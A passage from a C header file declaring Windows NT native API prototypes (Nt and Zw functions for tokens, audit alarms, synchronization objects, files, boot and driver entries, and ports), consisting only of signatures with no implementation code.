POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, _In_opt_ PTOKEN_OWNER Owner, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, IN PTOKEN_SOURCE TokenSource ); NTSTATUS NTAPI NtCompareTokens( IN HANDLE FirstTokenHandle, IN HANDLE SecondTokenHandle, OUT PBOOLEAN Equal ); NTSTATUS NTAPI NtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtOpenThreadTokenEx( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtOpenProcessTokenEx( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI NtFilterToken ( IN HANDLE ExistingTokenHandle, IN ULONG Flags, _In_opt_ PTOKEN_GROUPS SidsToDisable, _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, _In_opt_ PTOKEN_GROUPS RestrictedSids, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI NtImpersonateAnonymousToken( IN HANDLE ThreadHandle ); NTSTATUS NTAPI NtQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, IN PVOID TokenInformation, IN ULONG TokenInformationLength ); NTSTATUS NTAPI NtAdjustPrivilegesToken ( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, _In_opt_ PTOKEN_PRIVILEGES NewState, _In_opt_ ULONG BufferLength, OUT PTOKEN_PRIVILEGES PreviousState, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtAdjustGroupsToken ( IN HANDLE TokenHandle, IN BOOLEAN ResetToDefault, IN PTOKEN_GROUPS NewState , _In_opt_ ULONG BufferLength , OUT PTOKEN_GROUPS PreviousState , OUT PULONG ReturnLength ); NTSTATUS NTAPI NtPrivilegeCheck ( IN HANDLE ClientToken, _Inout_ PPRIVILEGE_SET RequiredPrivileges, OUT PBOOLEAN Result ); NTSTATUS NTAPI NtAccessCheckAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtAccessCheckByTypeAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtAccessCheckByTypeResultListAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN HANDLE ClientToken, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtOpenObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN ACCESS_MASK GrantedAccess, _In_opt_ PPRIVILEGE_SET Privileges, IN BOOLEAN ObjectCreation, IN BOOLEAN AccessGranted, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtPrivilegeObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI NtCloseObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtDeleteObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, _In_opt_ PVOID HandleId, IN BOOLEAN GenerateOnClose ); NTSTATUS NTAPI NtPrivilegedServiceAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN PUNICODE_STRING ServiceName, IN HANDLE ClientToken, IN PPRIVILEGE_SET Privileges, IN BOOLEAN AccessGranted ); NTSTATUS NTAPI NtContinue ( IN PCONTEXT ContextRecord, IN BOOLEAN TestAlert ); NTSTATUS NTAPI NtRaiseException ( IN PEXCEPTION_RECORD ExceptionRecord, IN PCONTEXT ContextRecord, IN BOOLEAN FirstChance ); // end_ntapi // begin_zwapi NTSTATUS NTAPI ZwDelayExecution ( IN BOOLEAN Alertable, IN PLARGE_INTEGER DelayInterval ); NTSTATUS NTAPI ZwQuerySystemEnvironmentValue ( IN PUNICODE_STRING VariableName, OUT PWSTR VariableValue, IN USHORT ValueLength, OUT OPTIONAL PUSHORT ReturnLength ); NTSTATUS NTAPI ZwSetSystemEnvironmentValue ( IN PUNICODE_STRING VariableName, IN PUNICODE_STRING VariableValue ); NTSTATUS NTAPI ZwQuerySystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, OUT OPTIONAL PVOID Value, _Inout_ PULONG ValueLength, OUT OPTIONAL PULONG Attributes ); NTSTATUS NTAPI ZwSetSystemEnvironmentValueEx ( IN PUNICODE_STRING VariableName, IN LPGUID VendorGuid, _In_opt_ PVOID Value, IN ULONG ValueLength, IN ULONG Attributes ); NTSTATUS NTAPI ZwEnumerateSystemEnvironmentValuesEx ( IN ULONG InformationClass, OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI ZwAddBootEntry ( IN PBOOT_ENTRY BootEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI ZwDeleteBootEntry ( IN ULONG Id ); NTSTATUS NTAPI ZwModifyBootEntry ( IN PBOOT_ENTRY BootEntry ); NTSTATUS NTAPI ZwEnumerateBootEntries ( OUT OPTIONAL PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI ZwQueryBootEntryOrder ( OUT OPTIONAL PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI ZwSetBootEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI ZwQueryBootOptions ( OUT OPTIONAL PBOOT_OPTIONS BootOptions, _Inout_ PULONG BootOptionsLength ); NTSTATUS NTAPI ZwSetBootOptions ( IN PBOOT_OPTIONS BootOptions, IN ULONG FieldsToChange ); NTSTATUS NTAPI ZwTranslateFilePath ( IN PFILE_PATH InputFilePath, IN ULONG OutputType, OUT OPTIONAL PFILE_PATH OutputFilePath, _Inout_opt_ PULONG OutputFilePathLength ); NTSTATUS NTAPI ZwAddDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry, OUT OPTIONAL PULONG Id ); NTSTATUS NTAPI ZwDeleteDriverEntry ( IN ULONG Id ); NTSTATUS NTAPI ZwModifyDriverEntry ( IN PEFI_DRIVER_ENTRY DriverEntry ); NTSTATUS NTAPI ZwEnumerateDriverEntries ( OUT PVOID Buffer, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI ZwQueryDriverEntryOrder ( OUT PULONG Ids, _Inout_ PULONG Count ); NTSTATUS NTAPI ZwSetDriverEntryOrder ( IN PULONG Ids, IN ULONG Count ); NTSTATUS NTAPI ZwClearEvent ( IN HANDLE EventHandle ); NTSTATUS NTAPI ZwCreateEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState ); NTSTATUS NTAPI ZwOpenEvent ( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwPulseEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI ZwQueryEvent ( IN HANDLE EventHandle, IN EVENT_INFORMATION_CLASS EventInformationClass, OUT PVOID EventInformation, IN ULONG EventInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwResetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI ZwSetEvent ( IN HANDLE EventHandle, OUT OPTIONAL PLONG PreviousState ); NTSTATUS NTAPI ZwSetEventBoostPriority ( IN HANDLE EventHandle ); NTSTATUS NTAPI ZwCreateEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwOpenEventPair ( OUT PHANDLE EventPairHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetLowWaitHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetHighWaitLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetLowEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwSetHighEventPair ( IN HANDLE EventPairHandle ); NTSTATUS NTAPI ZwCreateMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN InitialOwner ); NTSTATUS NTAPI ZwOpenMutant ( OUT PHANDLE MutantHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryMutant ( IN HANDLE MutantHandle, IN MUTANT_INFORMATION_CLASS MutantInformationClass, OUT PVOID MutantInformation, IN ULONG MutantInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwReleaseMutant ( IN HANDLE MutantHandle, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI ZwCreateSemaphore ( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN LONG InitialCount, IN LONG MaximumCount ); NTSTATUS NTAPI ZwOpenSemaphore( OUT PHANDLE SemaphoreHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQuerySemaphore ( IN HANDLE SemaphoreHandle, IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, OUT PVOID SemaphoreInformation, IN ULONG SemaphoreInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwReleaseSemaphore( IN HANDLE SemaphoreHandle, IN LONG ReleaseCount, OUT OPTIONAL PLONG PreviousCount ); NTSTATUS NTAPI ZwCreateTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TIMER_TYPE TimerType ); NTSTATUS NTAPI ZwOpenTimer ( OUT PHANDLE TimerHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwCancelTimer ( IN HANDLE TimerHandle, OUT OPTIONAL PBOOLEAN CurrentState ); NTSTATUS NTAPI ZwQueryTimer ( IN HANDLE TimerHandle, IN TIMER_INFORMATION_CLASS TimerInformationClass, OUT PVOID TimerInformation, IN ULONG TimerInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetTimer ( IN HANDLE TimerHandle, IN PLARGE_INTEGER DueTime, _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, _In_opt_ PVOID TimerContext, IN BOOLEAN ResumeTimer, _In_opt_ LONG Period, OUT OPTIONAL PBOOLEAN PreviousState ); NTSTATUS NTAPI ZwQuerySystemTime ( OUT PLARGE_INTEGER SystemTime ); NTSTATUS NTAPI ZwSetSystemTime ( _In_opt_ PLARGE_INTEGER SystemTime, OUT OPTIONAL PLARGE_INTEGER PreviousTime ); NTSTATUS NTAPI ZwQueryTimerResolution ( OUT PULONG MaximumTime, OUT PULONG MinimumTime, OUT PULONG CurrentTime ); NTSTATUS NTAPI ZwSetTimerResolution ( IN ULONG DesiredTime, IN BOOLEAN SetResolution, OUT PULONG ActualTime ); NTSTATUS NTAPI ZwAllocateLocallyUniqueId ( OUT PLUID Luid ); NTSTATUS NTAPI ZwSetUuidSeed ( IN PCHAR Seed ); NTSTATUS NTAPI ZwAllocateUuids ( OUT PULARGE_INTEGER Time, OUT PULONG Range, OUT PULONG Sequence, OUT PCHAR Seed ); NTSTATUS NTAPI ZwCreateProfile ( OUT PHANDLE ProfileHandle, IN HANDLE Process OPTIONAL, IN PVOID ProfileBase, IN SIZE_T ProfileSize, IN ULONG BucketSize, IN PULONG Buffer, IN ULONG BufferSize, IN KPROFILE_SOURCE ProfileSource, IN KAFFINITY Affinity ); NTSTATUS NTAPI ZwStartProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI ZwStopProfile ( IN HANDLE ProfileHandle ); NTSTATUS NTAPI ZwSetIntervalProfile ( IN ULONG Interval, IN KPROFILE_SOURCE Source ); NTSTATUS NTAPI ZwQueryIntervalProfile ( IN KPROFILE_SOURCE ProfileSource, OUT PULONG Interval ); NTSTATUS NTAPI ZwQueryPerformanceCounter ( OUT PLARGE_INTEGER PerformanceCounter, OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency ); NTSTATUS NTAPI ZwCreateKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Flags ); NTSTATUS NTAPI ZwOpenKeyedEvent ( OUT PHANDLE KeyedEventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwReleaseKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForKeyedEvent ( IN HANDLE KeyedEventHandle, IN PVOID KeyValue, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwQuerySystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT OPTIONAL PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetSystemInformation ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, _In_opt_ PVOID SystemInformation, IN ULONG SystemInformationLength ); NTSTATUS NTAPI ZwSystemDebugControl ( IN SYSDBG_COMMAND Command, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwRaiseHardError ( IN NTSTATUS ErrorStatus, IN ULONG NumberOfParameters, IN ULONG UnicodeStringParameterMask, _In_opt_ PULONG_PTR Parameters, IN ULONG ValidResponseOptions, OUT PULONG Response ); NTSTATUS NTAPI ZwQueryDefaultLocale ( IN BOOLEAN UserProfile, OUT PLCID DefaultLocaleId ); NTSTATUS NTAPI ZwSetDefaultLocale ( IN BOOLEAN UserProfile, IN LCID DefaultLocaleId ); NTSTATUS NTAPI ZwQueryInstallUILanguage ( OUT LANGID *InstallUILanguageId ); NTSTATUS NTAPI ZwQueryDefaultUILanguage ( OUT LANGID *DefaultUILanguageId ); NTSTATUS NTAPI ZwSetDefaultUILanguage ( IN LANGID DefaultUILanguageId ); NTSTATUS NTAPI ZwSetDefaultHardErrorPort( IN HANDLE DefaultHardErrorPort ); NTSTATUS NTAPI ZwShutdownSystem ( IN SHUTDOWN_ACTION Action ); NTSTATUS NTAPI ZwDisplayString ( IN PUNICODE_STRING String ); NTSTATUS NTAPI ZwAddAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI ZwFindAtom ( _In_opt_ PWSTR AtomName, IN ULONG Length, OUT OPTIONAL PRTL_ATOM Atom ); NTSTATUS NTAPI ZwDeleteAtom ( IN RTL_ATOM Atom ); NTSTATUS NTAPI ZwQueryInformationAtom( IN RTL_ATOM Atom, IN ATOM_INFORMATION_CLASS AtomInformationClass, OUT OPTIONAL PVOID AtomInformation, IN ULONG AtomInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwCancelIoFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI ZwCreateNamedPipeFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, IN ULONG NamedPipeType, IN ULONG ReadMode, IN ULONG CompletionMode, IN ULONG MaximumInstances, IN ULONG InboundQuota, IN ULONG OutboundQuota, _In_opt_ PLARGE_INTEGER DefaultTimeout ); NTSTATUS NTAPI ZwCreateMailslotFile ( OUT PHANDLE FileHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CreateOptions, IN ULONG MailslotQuota, IN ULONG MaximumMessageSize, IN PLARGE_INTEGER ReadTimeout ); NTSTATUS NTAPI ZwDeleteFile ( IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwFlushBuffersFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock ); NTSTATUS NTAPI ZwNotifyChangeDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN ULONG CompletionFilter, IN BOOLEAN WatchTree ); NTSTATUS NTAPI ZwQueryAttributesFile ( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_BASIC_INFORMATION FileInformation ); NTSTATUS NTAPI ZwQueryFullAttributesFile( IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation ); NTSTATUS NTAPI ZwQueryEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN PVOID EaList, IN ULONG EaListLength, _In_opt_ PULONG EaIndex OPTIONAL, IN BOOLEAN RestartScan ); NTSTATUS NTAPI ZwCreateFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, _In_opt_ PLARGE_INTEGER AllocationSize, IN ULONG FileAttributes, IN ULONG ShareAccess, IN ULONG CreateDisposition, IN ULONG CreateOptions, _In_opt_ PVOID EaBuffer, IN ULONG EaLength ); NTSTATUS NTAPI ZwDeviceIoControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI ZwFsControlFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG FsControlCode, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI ZwLockFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key, IN BOOLEAN FailImmediately, IN BOOLEAN ExclusiveLock ); NTSTATUS NTAPI ZwOpenFile ( OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions ); NTSTATUS NTAPI ZwQueryDirectoryFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, _In_opt_ PUNICODE_STRING FileName, IN BOOLEAN RestartScan ); NTSTATUS NTAPI ZwQueryInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI ZwQueryQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, _In_opt_ PVOID SidList, IN ULONG SidListLength, _In_opt_ PSID StartSid, IN BOOLEAN RestartScan ); NTSTATUS NTAPI ZwQueryVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI ZwReadFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI ZwSetInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass ); NTSTATUS NTAPI ZwSetQuotaInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI ZwSetVolumeInformationFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID FsInformation, IN ULONG Length, IN FS_INFORMATION_CLASS FsInformationClass ); NTSTATUS NTAPI ZwWriteFile ( IN HANDLE FileHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length, _In_opt_ PLARGE_INTEGER ByteOffset, _In_opt_ PULONG Key ); NTSTATUS NTAPI ZwUnlockFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PLARGE_INTEGER ByteOffset, IN PLARGE_INTEGER Length, IN ULONG Key ); NTSTATUS NTAPI ZwReadFileScatter ( IN HANDLE FileHandle, IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, IN OPTIONAL PLARGE_INTEGER ByteOffset, IN OPTIONAL PULONG Key ); NTSTATUS NTAPI ZwSetEaFile ( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PVOID Buffer, IN ULONG Length ); NTSTATUS NTAPI ZwWriteFileGather ( IN HANDLE FileHandle, IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN PFILE_SEGMENT_ELEMENT SegmentArray, IN ULONG Length, IN OPTIONAL PLARGE_INTEGER ByteOffset, IN OPTIONAL PULONG Key ); NTSTATUS NTAPI ZwLoadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI ZwUnloadDriver ( IN PUNICODE_STRING DriverServiceName ); NTSTATUS NTAPI ZwCreateIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG Count OPTIONAL ); NTSTATUS NTAPI ZwOpenIoCompletion ( OUT PHANDLE IoCompletionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryIoCompletion ( IN HANDLE IoCompletionHandle, IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, OUT PVOID IoCompletionInformation, IN ULONG IoCompletionInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetIoCompletion ( IN HANDLE IoCompletionHandle, IN PVOID KeyContext, IN OPTIONAL PVOID ApcContext, IN NTSTATUS IoStatus, IN ULONG_PTR IoStatusInformation ); NTSTATUS NTAPI ZwRemoveIoCompletion ( IN HANDLE IoCompletionHandle, OUT PVOID *KeyContext, OUT PVOID *ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwCallbackReturn ( IN PVOID OutputBuffer OPTIONAL, IN ULONG OutputLength, IN NTSTATUS Status ); NTSTATUS NTAPI ZwQueryDebugFilterState ( IN ULONG ComponentId, IN ULONG Level ); NTSTATUS NTAPI ZwSetDebugFilterState ( IN ULONG ComponentId, IN ULONG Level, IN BOOLEAN State ); NTSTATUS NTAPI ZwYieldExecution ( VOID ); NTSTATUS NTAPI ZwCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN OPTIONAL ULONG MaxPoolUsage ); NTSTATUS NTAPI ZwCreateWaitablePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, IN OPTIONAL ULONG MaxPoolUsage ); NTSTATUS NTAPI ZwConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _Inout_opt_ 